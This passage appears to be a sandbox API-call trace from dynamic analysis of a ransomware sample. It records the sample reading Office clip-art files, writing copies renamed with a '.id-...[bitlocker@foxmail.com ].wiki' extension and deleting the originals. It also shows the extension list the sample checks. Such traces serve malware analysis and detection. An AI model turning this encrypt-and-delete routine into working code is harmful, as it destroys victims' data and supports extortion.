lpString2=".WMF") returned -1 [0199.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0199.735] lstrlenW (lpString=".1cd") returned 4 [0199.735] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0199.735] lstrlenW (lpString=".jpg") returned 4 [0199.735] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0199.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0199.735] lstrlenW (lpString=".doc") returned 4 [0199.735] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.735] lstrlenW (lpString=".docx") returned 5 [0199.736] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0199.736] lstrlenW (lpString=".pdf") returned 4 [0199.736] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.736] lstrlenW (lpString=".xls") returned 4 [0199.736] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.736] lstrlenW (lpString=".xlsx") returned 5 [0199.736] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0199.736] lstrlenW (lpString=".ppt") returned 4 [0199.736] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0199.736] lstrlenW (lpString=".zip") returned 4 [0199.736] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.736] lstrlenW (lpString=".rar") returned 4 [0199.736] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.736] lstrlenW (lpString=".bz2") returned 4 [0199.736] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.736] lstrlenW (lpString=".7z") returned 3 [0199.736] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0199.737] lstrlenW (lpString=".dbf") returned 4 [0199.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0199.737] lstrlenW (lpString=".1cd") returned 4 [0199.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0199.737] lstrlenW (lpString=".jpg") returned 4 [0199.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.737] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.737] lstrlenW (lpString="J0187835.WMF") returned 12 [0199.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.737] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=9344) returned 1 [0199.737] CloseHandle (hObject=0x1fc) returned 1 [0199.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf")) returned 0x20 [0199.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.738] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.738] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.738] GetLastError () returned 0x0 [0199.738] ReadFile (in: hFile=0x1fc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x2480, lpOverlapped=0x0) returned 1 [0199.740] WriteFile (in: hFile=0x1cc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x2490, lpOverlapped=0x0) returned 1 [0199.741] ReadFile (in: hFile=0x1fc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.741] WriteFile (in: hFile=0x1cc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.741] SetEndOfFile (hFile=0x1cc) returned 1 [0199.742] CloseHandle (hObject=0x1cc) returned 1 [0199.742] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.742] SetEndOfFile (hFile=0x1fc) returned 1 [0199.751] CloseHandle (hObject=0x1fc) returned 1 [0199.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.751] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf")) returned 1 [0199.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0199.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0199.752] lstrlenW (lpString=".doc") returned 4 [0199.752] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.752] lstrlenW (lpString=".docx") returned 5 [0199.752] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0199.752] lstrlenW (lpString=".pdf") returned 4 [0199.752] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.752] lstrlenW (lpString=".xls") returned 4 [0199.752] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.752] lstrlenW (lpString=".xlsx") returned 5 [0199.752] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0199.752] lstrlenW (lpString=".ppt") returned 4 [0199.752] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0199.752] lstrlenW (lpString=".zip") returned 4 [0199.752] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.752] lstrlenW (lpString=".rar") returned 4 [0199.752] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.752] lstrlenW (lpString=".bz2") returned 4 [0199.752] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.752] lstrlenW (lpString=".7z") returned 3 [0199.752] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0199.752] lstrlenW (lpString=".dbf") returned 4 [0199.753] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0199.753] lstrlenW (lpString=".1cd") returned 4 [0199.753] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0199.753] lstrlenW (lpString=".jpg") returned 4 [0199.753] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0199.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0199.753] lstrlenW (lpString=".doc") returned 4 [0199.753] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.753] lstrlenW (lpString=".docx") returned 5 [0199.753] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0199.753] lstrlenW (lpString=".pdf") returned 4 [0199.753] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.753] lstrlenW (lpString=".xls") returned 4 [0199.753] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.753] lstrlenW (lpString=".xlsx") returned 5 [0199.753] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0199.753] lstrlenW (lpString=".ppt") returned 4 [0199.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0199.753] lstrlenW (lpString=".zip") returned 4 [0199.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.753] lstrlenW (lpString=".rar") returned 4 [0199.753] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.753] lstrlenW (lpString=".bz2") returned 4 [0199.753] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.754] lstrlenW (lpString=".7z") returned 3 [0199.754] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0199.754] lstrlenW (lpString=".dbf") returned 4 [0199.754] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0199.754] lstrlenW (lpString=".1cd") returned 4 [0199.754] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0199.754] lstrlenW (lpString=".jpg") returned 4 [0199.754] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.754] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.754] lstrlenW (lpString="J0187837.WMF") returned 12 [0199.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.755] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=16354) returned 1 [0199.756] CloseHandle (hObject=0x1fc) returned 1 [0199.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf")) returned 0x20 [0199.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.756] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.756] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.756] GetLastError () returned 0x0 [0199.757] ReadFile (in: hFile=0x1fc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x3fe2, lpOverlapped=0x0) returned 1 [0199.758] WriteFile (in: hFile=0x1cc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x3ff0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x3ff0, lpOverlapped=0x0) returned 1 [0199.933] ReadFile (in: hFile=0x1fc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.933] WriteFile (in: hFile=0x1cc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.934] SetEndOfFile (hFile=0x1cc) returned 1 [0199.934] CloseHandle (hObject=0x1cc) returned 1 [0199.934] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.934] SetEndOfFile (hFile=0x1fc) returned 1 [0199.935] CloseHandle (hObject=0x1fc) returned 1 [0199.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.935] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf")) returned 1 [0199.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0199.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0199.935] lstrlenW (lpString=".doc") returned 4 [0199.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.935] lstrlenW (lpString=".docx") returned 5 [0199.935] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0199.935] lstrlenW (lpString=".pdf") returned 4 [0199.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.935] lstrlenW (lpString=".xls") returned 4 [0199.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.935] lstrlenW (lpString=".xlsx") returned 5 [0199.935] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0199.935] lstrlenW (lpString=".ppt") returned 4 [0199.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0199.936] lstrlenW (lpString=".zip") returned 4 [0199.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.936] lstrlenW (lpString=".rar") returned 4 [0199.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.936] lstrlenW (lpString=".bz2") returned 4 [0199.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.936] lstrlenW (lpString=".7z") returned 3 [0199.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0199.936] lstrlenW (lpString=".dbf") returned 4 [0199.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0199.936] lstrlenW (lpString=".1cd") returned 4 [0199.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0199.936] lstrlenW (lpString=".jpg") returned 4 [0199.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0199.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0199.936] lstrlenW (lpString=".doc") returned 4 [0199.936] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.936] lstrlenW (lpString=".docx") returned 5 [0199.936] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0199.936] lstrlenW (lpString=".pdf") returned 4 [0199.936] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.936] lstrlenW (lpString=".xls") returned 4 [0199.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.936] lstrlenW (lpString=".xlsx") returned 5 [0199.937] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0199.937] lstrlenW (lpString=".ppt") returned 4 [0199.937] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0199.937] lstrlenW (lpString=".zip") returned 4 [0199.937] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.937] lstrlenW (lpString=".rar") returned 4 [0199.937] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.937] lstrlenW (lpString=".bz2") returned 4 [0199.937] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.937] lstrlenW (lpString=".7z") returned 3 [0199.937] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0199.937] lstrlenW (lpString=".dbf") returned 4 [0199.937] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0199.937] lstrlenW (lpString=".1cd") returned 4 [0199.937] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0199.937] lstrlenW (lpString=".jpg") returned 4 [0199.937] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.937] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.937] lstrlenW (lpString="J0188513.WMF") returned 12 [0199.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.938] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=12292) returned 1 [0199.938] CloseHandle (hObject=0x1fc) returned 1 [0199.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf")) returned 0x20 [0199.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.938] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.938] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.939] GetLastError () returned 0x0 [0199.939] ReadFile (in: hFile=0x1fc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x3004, lpOverlapped=0x0) returned 1 [0199.941] WriteFile (in: hFile=0x1cc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x3010, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x3010, lpOverlapped=0x0) returned 1 [0199.943] ReadFile (in: hFile=0x1fc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.943] WriteFile (in: hFile=0x1cc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.943] SetEndOfFile (hFile=0x1cc) returned 1 [0199.943] CloseHandle (hObject=0x1cc) returned 1 [0199.943] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.943] SetEndOfFile (hFile=0x1fc) returned 1 [0199.944] CloseHandle (hObject=0x1fc) returned 1 [0199.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.944] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf")) returned 1 [0199.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0199.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0199.944] lstrlenW (lpString=".doc") returned 4 [0199.944] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.944] lstrlenW (lpString=".docx") returned 5 [0199.944] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0199.944] lstrlenW (lpString=".pdf") returned 4 [0199.944] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.944] lstrlenW (lpString=".xls") returned 4 [0199.944] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.944] lstrlenW (lpString=".xlsx") returned 5 [0199.944] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0199.945] lstrlenW (lpString=".ppt") returned 4 [0199.945] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0199.945] lstrlenW (lpString=".zip") returned 4 [0199.945] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.945] lstrlenW (lpString=".rar") returned 4 [0199.945] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.945] lstrlenW (lpString=".bz2") returned 4 [0199.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.945] lstrlenW (lpString=".7z") returned 3 [0199.945] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0199.945] lstrlenW (lpString=".dbf") returned 4 [0199.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0199.945] lstrlenW (lpString=".1cd") returned 4 [0199.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0199.945] lstrlenW (lpString=".jpg") returned 4 [0199.945] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0199.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0199.945] lstrlenW (lpString=".doc") returned 4 [0199.945] 